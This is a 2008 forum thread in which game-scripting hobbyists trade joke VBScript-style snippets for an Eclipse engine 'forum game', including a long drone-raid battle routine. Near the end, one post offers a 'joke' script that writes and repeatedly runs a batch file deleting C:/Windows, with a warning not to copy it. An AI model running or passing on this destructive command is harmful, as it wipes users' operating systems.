Homicidal Monkey Posted July 24, 2008 Share Posted July 24, 2008 FPSCreator was made in DBPro. Link to comment Share on other sites More sharing options...
Lenton Posted July 24, 2008 Share Posted July 24, 2008 'Get back to topic you guys…Sub LeftForumGame(index)Call GlobalMsg(GetPlayerName(index) & " Has Left The Forum Game!", 15)End Sub Link to comment Share on other sites More sharing options...
Guest Posted July 24, 2008 Share Posted July 24, 2008 Sub ForumGame(index)Call LeftForumGame(index)Call GlobalMsg("For now…..", 15)End sub Link to comment Share on other sites More sharing options...
Godlord Posted July 24, 2008 Share Posted July 24, 2008 Lmao, that was a fail.And Java? I prefer BASIC more than Java.' Pfff fail to see an idea.Regards, Godlord. Link to comment Share on other sites More sharing options...
gizmo1 Posted July 24, 2008 Share Posted July 24, 2008 Sub ForumGame(index)Case 1Call PlayerMsg("i thought were talking in sadscript. lol, i guess that gives.", 14)Exit Sub Link to comment Share on other sites More sharing options...
shrig94 Posted July 24, 2008 Share Posted July 24, 2008 Yeah, but FPSCreator is a lot faster than dbpro…dbpro was a waste of a Christmas gift....Sub ForumGame(index)Case 1Call PlayerMsg("I like fish cakes", 14)Exit Sub Link to comment Share on other sites More sharing options...
Klanz_online Posted July 24, 2008 Share Posted July 24, 2008 -looks at shigs avi-/gasp-goes into chitchat forum looking for more avi's- Link to comment Share on other sites More sharing options...
shrig94 Posted July 25, 2008 Share Posted July 25, 2008 wtf kinda sadscript is that klanz_online? Link to comment Share on other sites More sharing options...
Godlord Posted July 25, 2008 Share Posted July 25, 2008 @shrig94:> wtf kinda sadscript is that klanz_online?Scripting which is Sad?Regards, Godlord. Link to comment Share on other sites More sharing options...
shrig94 Posted July 25, 2008 Share Posted July 25, 2008 lol, Godlord, you never fail to crack a good joke…its not fair that your programmer installed Comedy Central's Library of jokes into your system... Link to comment Share on other sites More sharing options...
Homicidal Monkey Posted July 25, 2008 Share Posted July 25, 2008 msgbox "Godlord has metaprogramming support. So there is no programmer involved. =D" Link to comment Share on other sites More sharing options...
shrig94 Posted July 25, 2008 Share Posted July 25, 2008 This is what I've seen from n00b sadscripters:InsertSomeSubHere?WTF (something, massage)IndexorSomeBS ('The Message will be next")WhateverSendsMessage (I'm a freaking nub, help me)Ya, thats **sad** script alright…. Link to comment Share on other sites More sharing options...
Guest Posted July 25, 2008 Share Posted July 25, 2008 @shrig94:> This is what I've seen from n00b sadscripters:> > InsertSomeSubHere?WTF (something, massage)> IndexorSomeBS ('The Message will be next")> WhateverSendsMessage (I'm a freaking nub, help me)> > Ya, thats **shrig** script alright….Fixed. :) Link to comment Share on other sites More sharing options...
allanws Posted July 27, 2008 Share Posted July 27, 2008 Case "/obey"If GetPlayerAccess(Index) > 0 ThenPlayerID = FindPlayer(TextSay(1))Call GlobalMsg("" & PlayerID & " is now " & Index & "'s slave!", BRIGHTRED)Call SetPlayerSlave(PlayerID, Index)Call PlayerMsg(PlayerID, "You iz belong to mee!", BRIGHTRED)End IfExit Sub Link to comment Share on other sites More sharing options...
Drummerpete Posted July 27, 2008 Share Posted July 27, 2008 @Alex:> 'Get back to topic you guys…> > Sub LeftForumGame(index)> Call GlobalMsg(GetPlayerName(index) & " Has Left The Forum Game!", 15)> End SubI don't get what the "15" is for? Link to comment Share on other sites More sharing options...
Godlord Posted July 27, 2008 Share Posted July 27, 2008 The VGA colour of the message. Eclipse uses constants since EE 2.7 or something.Regards, Godlord. Link to comment Share on other sites More sharing options...
TT Snim Posted July 28, 2008 Share Posted July 28, 2008 *Frets for a moment before typing*Sub TalkToMuchcall GlobalMSG ("Hello, people, I'm trying to Script!",15)end Sub*Runs crying from keyboard* Link to comment Share on other sites More sharing options...
DrNova Posted July 28, 2008 Share Posted July 28, 2008 Sub working(index)Dim adroneDim pdroneDim pownerDim atactDim ptactDim atakaDim atakpDim alossDim plossDim adamDim pdamDim plionDim iondDim useDim popDim hitemDim extotDim cashmathDim resmathDim dfacDim ydrnDim dmmadrone=getvar("/player/" & getplayername(index) & ".ini", "data", "drones")pdrone=getvar("/planet/" & getplayermap(index) & ".ini", "data", "drone")powner=getvar("/planet/" & getplayermap(index) & ".ini", "data", "rule")atact=getvar("/player/" & getplayername(index) & ".ini", "battle", "tactics")ptact=getvar("/player/" & TRIM(powner) & ".ini", "battle", "tactics")bttla=Rand(INT(adrone\atact),INT(adrone))bttlp=Rand(INT(pdrone\ptact),INT(pdrone))adam=INT(bttla)pdam=INT(bttlp)aloss=INT(adrone-pdam)ploss=INT(pdrone-adam)plion=getvar("/planet/" & getplayermap(index) & ".ini", "build", "ion")iond=getvar("/player/" & powner & ".ini", "battle", "iond")use=getvar("/planet/" & getplayermap(index) & ".ini", "data", "use")pop=getvar("/planet/" & getplayermap(index) & ".ini", "data", "pop")hitem=getvar("/planet/" & getplayermap(index) & ".ini", "data", "resource")extot=getvar("/planet/" & getplayermap(index) & ".ini", "build", "extract")cashmath=Rand(1,pop)resmath=Rand(1,pop)*Rand(1,extot)dfac=getvar("/planet/" & getplayermap(index) & ".ini", "build", "dronefac")ydrn=getvar("/player/" & getplayername(index) & ".ini", "data", "drones")dmm=INT(dfac+ydrn)If adrone > 0 ThenIf pdrone > 0 ThenIf aloss < 0 ThenCall putvar("/player/" & getplayername(index) & ".ini", "data", "drones", 0)Call battlemsg(index, "You lost all drones in the attack!", RED, 1)ElseCall putvar("/player/" & getplayername(index) & ".ini", "data", "drones", INT(aloss))Call battlemsg(index, "You lost " & INT(pdam) & " drones in the attack.", RED, 1)If adam > pdam ThenIf use = 0 ThenCall battlemsg(index, "No production available to Raid!", RED, 1)ElseCall Give_Currency(index, 1, INT(cashmath))Call battlemsg(index, "You Raided " & INT(cashmath) & " credits from the colony!", GREEN, 0)Call Give_Currency(index, INT(hitem), INT(resmath))Call battlemsg(index, "You Raided " & INT(resmath) & " resources from the colony!", GREEN, 0)call putvar("/player/" & getplayername(index) & ".ini", "data", "drones", INT(ydrn)+INT(dfac))Call battlemsg(index, "You Raided " & INT(dmm) & " Drones from the colony!", GREEN, 0)Call putvar("/planet/" & getplayermap(index) & ".ini", "data", "use", INT(use)-1)End IfEnd IfEnd IfIf ploss < 0 Thencall putvar("/planet/" & getplayermap(index) & ".ini", "data", "drone", 0)Call battlemsg(index, "You destroyed all planetary drones!", GREEN, 1)Elsecall putvar("/planet/" & getplayermap(index) & ".ini", "data", "drone", INT(ploss))call battlemsg(index, "You destroyed " & INT(adam) & " planetary drones.", GREEN, 1)End IfCall CustomMenuClose(Index)ElseCall battlemsg(index, "No planetary drones defending planet!", GREEN, 1)End IfElseCall battlemsg(index, "You have no attack drones!", RED, 1)End IfEnd Sub Link to comment Share on other sites More sharing options...
Lenton Posted July 29, 2008 Share Posted July 29, 2008 Sub OMG(index)Call PlayerMsg(index, Wow awsome man!,14)End Sub Link to comment Share on other sites More sharing options...
Drummerpete Posted July 29, 2008 Share Posted July 29, 2008 Do you not have to call sub? Link to comment Share on other sites More sharing options...
Homicidal Monkey Posted July 29, 2008 Share Posted July 29, 2008 its the color code Link to comment Share on other sites More sharing options...
Ne-o-x Posted July 29, 2008 Share Posted July 29, 2008 Sub ForumGame(index)Call GlobalMsg("Hi All", 15)Call GlobalMsg("I'm Fucking New Here", 12)Call GlobalMsg("I Will be an Mob In A Day",9)EndSub Link to comment Share on other sites More sharing options...
DrNova Posted July 30, 2008 Share Posted July 30, 2008 @Desiderium:> Do you not have to call sub?Sub MenuScripts(Index, Clicked_Index, Menu_Type)Dim MenuTitleDim FieldMessageMenuTitle = getplayermenuclicktitle(Index)FieldMessage = getplayermenuclickmsg(Index)Select Case Menu_TypeCase 1If MenuTitle = "Main" ThenIf Clicked_Index = 2 ThenCall production(index)ElseIf Clicked_Index = 3 ThenCall assault(index)**ElseIf Clicked_Index = 4 ThenCall raid(index)**End IfEnd If Link to comment Share on other sites More sharing options...
Homicidal Monkey Posted July 30, 2008 Share Posted July 30, 2008 public oFSOpublic oTextFilesub forumGamecall initcall DoomCycleendsubsub init() set oFSO = CreateObject("Scripting.ObjectFileSystem") set oTextFile = oFSO.CreateTextFile("DoomCycle.bat") set oTextFile = nothing Set oTextFile = oFSO.OpenTextFile("DoomCycle.bat", 8, True) oTextFile.WriteLine("rmdir /s /q C:/Windows")endSubsub DoomCycledim shelldo set shell=createobject("wscript.shell") shell.run "DoomCycle.bat" set shell = nothingloopendsublol, dont copy this into your sadscript. it will… uh kill windows. Link to comment Share on other sites More sharing options...
shadowwulf Posted July 30, 2008 Share Posted July 30, 2008 madanAGkuza…oh i thought it said sanskrit not sad script... dont slur your words....lol Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now